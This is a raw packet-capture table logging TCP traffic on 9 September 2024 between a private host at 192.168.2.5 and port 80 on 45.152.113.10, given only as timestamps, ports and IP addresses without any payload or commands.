Sep 9, 2024 18:45:07.190181971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.190195084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279239893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279262066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279288054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279304028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279318094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279336929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279347897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279350042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279366970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279392958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279402018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279412985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279428005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279438019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279449940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279458046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279469013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279479980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279511929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279517889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279526949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279542923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279557943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279558897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.279576063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279587984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.279606104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.280905008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.280921936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.280937910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.280961990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.280976057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281014919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281033039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281049967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281063080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281065941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281078100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281085014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281095982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281115055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281124115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281147003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281162977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281178951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281184912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281194925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281197071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281224012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281240940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281244993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281261921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281301975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281335115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281349897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281392097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281419039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281435013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281461000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281472921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281476974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281493902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281508923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281524897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.281533003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281544924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.281563044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282011032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282027006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282044888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282064915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282075882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282113075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282130003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282145977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282151937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282162905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282165051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282180071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282200098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282244921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282262087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282277107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282299042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282309055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282310963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282326937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282344103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282346010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282360077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282362938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282377958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282387972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282407999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282418966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282463074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282479048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282494068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282502890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282514095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282531023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282531977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282547951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282565117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282573938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282582998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282607079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282660007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282675982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282692909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282708883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282715082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282732964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282812119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282828093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282840967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282840967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282845020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282861948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282866955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282879114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282885075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282896996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282902956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282911062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282915115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.282933950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.282962084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.369548082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.375205994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519453049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519476891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519493103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519522905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519546986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519562960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519576073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519579887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519597054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519614935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519619942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519632101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519637108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519649029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519650936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519669056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519670010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519685984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519689083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519701958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519704103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519721985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519721985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519738913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519741058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519759893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519769907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519778013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519798040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519809961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519814014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519834995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519850969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519850969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519867897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519885063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519891024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519901991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519908905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519918919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519925117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519942999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519958973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.519983053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.519999027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520021915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520035028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520101070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520117044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520132065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520148039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520157099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520165920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520173073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520184040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520190001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520203114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520209074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520220995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.520226002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520239115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.520257950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557425976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557502031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557528973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557569027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557586908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557599068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557605028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557636976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557650089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557650089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557652950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557668924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557687998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557691097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557696104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557706118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557713985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557723045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557738066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557739973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557754993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557760954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557770014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557790041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557801008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557804108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557817936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557851076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557861090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557876110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557890892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557893038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557907104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557910919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557925940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557926893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557944059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557956934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.557965994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.557974100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558001995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558012962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558022976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558038950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558053970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558079958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558094025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558109999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558125973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558140039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558165073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558181047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558188915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558203936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558218956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558234930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558244944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558255911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558273077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558316946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558331013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558346033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558361053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558361053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558371067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558378935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558388948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558406115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558412075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558423042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558429003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558470964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558520079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558536053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558549881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558562040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558568001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558573008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558583975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558589935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558602095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558608055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558620930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558636904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558707952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558722973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558737993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558763981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558777094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.558851957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558856010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558871031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.558904886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559120893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559139967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559164047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559171915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559178114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559190035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559206009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559215069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559221983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559226036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559237003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559242010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559273958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559283972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559297085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559300900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559318066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559334040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559341908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559351921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559355974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559369087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559370995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559397936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559412956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559412956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559421062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559449911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559465885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559473991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559489965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559492111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559497118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.559514046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559526920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.559544086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.596793890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596868038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596873045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.596884966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596901894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596914053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.596919060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596930981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.596936941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.596940994 CEST	49707	80	192.168.2.5	45.152.113.10
